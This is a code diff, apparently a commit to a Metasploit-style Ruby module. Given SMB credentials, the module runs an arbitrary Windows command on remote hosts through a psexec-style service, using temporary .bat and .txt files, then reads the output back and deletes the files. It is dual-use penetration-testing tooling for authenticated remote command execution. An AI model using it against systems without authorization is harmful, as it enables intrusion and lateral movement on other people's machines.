@@ -50,41 +50,32 @@ module so thanks very much to the author/s of that great tool. This module is u
50
50
51
51
# This is the main controle method
52
52
def run_host ( ip )
53
- cmd = "C:\\ WINDOWS\\ SYSTEM32\\ cmd.exe"
54
53
text = "\\ WINDOWS\\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .txt"
55
- bat = "C:\\ WINDOWS\\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .bat"
56
-
57
- #Try and Connect to the target
58
- begin
59
- connect ( )
60
- rescue StandardError => connecterror
61
- print_error ( "Unable to connect to the target: #{ connecterror } " )
62
- return
63
- end
54
+ bat = "%WINDIR%\\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .bat"
55
+ smbshare = datastore [ 'SMBSHARE' ]
64
56
65
57
#Try and authenticate with given credentials
66
- begin
67
- smb_login ( )
68
- rescue StandardError => autherror
69
- print_error ( "Unable to authenticate with given credentials: #{ autherror } " )
70
- return
71
- end
72
-
73
- smbshare = datastore [ 'SMBSHARE' ]
74
-
75
- if execute_command ( smbshare , ip , cmd , text , bat )
76
- get_output ( smbshare , ip , text )
58
+ if connect
59
+ begin
60
+ smb_login
61
+ rescue StandardError => autherror
62
+ print_error ( "Unable to authenticate with given credentials: #{ autherror } " )
63
+ return
64
+ end
65
+ if execute_command ( smbshare , ip , text , bat )
66
+ o = get_output ( smbshare , ip , text )
67
+ end
68
+ cleanup_after ( smbshare , ip , text , bat )
77
69
end
78
- cleanup_after ( smbshare , ip , cmd , text , bat )
79
70
end
80
71
81
72
82
73
83
74
# Executes specified Windows Command
84
- def execute_command ( smbshare , ip , cmd , text , bat )
75
+ def execute_command ( smbshare , ip , text , bat )
85
76
begin
86
77
#Try and execute the provided command
87
- execute = "#{ cmd } /C echo #{ datastore [ 'COMMAND' ] } ^> C: #{ text } > #{ bat } & #{ cmd } /C start cmd.exe /C #{ bat } "
78
+ execute = "%COMSPEC% /C echo #{ datastore [ 'COMMAND' ] } ^> %SYSTEMDRIVE% #{ text } > #{ bat } & %COMSPEC% /C start cmd.exe /C #{ bat } "
88
79
simple . connect ( smbshare )
89
80
print_status ( "Executing your command on host: #{ ip } " )
90
81
psexec ( smbshare , execute )
@@ -110,22 +101,26 @@ def get_output(smbshare, ip, file)
110
101
return
111
102
end
112
103
print_good ( "Command completed successfuly! Output from: #{ ip } \r \n #{ output } " )
104
+ return output
113
105
rescue StandardError => output_error
114
106
print_error ( "#{ ip } - Error getting command output. #{ output_error . class } . #{ output_error } ." )
115
- return output_error
107
+ return nil
116
108
end
117
109
end
118
110
119
111
120
112
121
113
# This is the cleanup method, removes .txt and .bat file/s created during execution-
122
- def cleanup_after ( smbshare , ip , cmd , text , bat )
114
+ def cleanup_after ( smbshare , ip , text , bat )
123
115
begin
124
116
# Try and do cleanup command
125
- cleanup = "#{ cmd } /C del C: #{ text } & del #{ bat } "
117
+ cleanup = "%COMSPEC% /C del %SYSTEMDRIVE% #{ text } & del #{ bat } "
126
118
simple . connect ( smbshare )
127
119
print_status ( "Executing cleanup on host: #{ ip } " )
128
120
psexec ( smbshare , cleanup )
121
+ #if !check_cleanup(smbshare, ip, text)
122
+ # print_error("#{ip} - Unable to cleanup. Need to manually remove #{text} and #{bat} from the target.")
123
+ #end
129
124
rescue StandardError => cleanuperror
130
125
print_error ( "Unable to processes cleanup commands: #{ cleanuperror } " )
131
126
return cleanuperror
@@ -134,6 +129,19 @@ def cleanup_after(smbshare, ip, cmd, text, bat)
134
129
135
130
136
131
132
+ def check_cleanup ( smbshare , ip , text )
133
+ simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
134
+ if checktext = simple . open ( text , 'ro' )
135
+ check = false
136
+ else
137
+ check = true
138
+ end
139
+ simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
140
+ return check
141
+ end
142
+
143
+
144
+
137
145
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
138
146
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
139
147
def psexec ( smbshare , command )
0 commit comments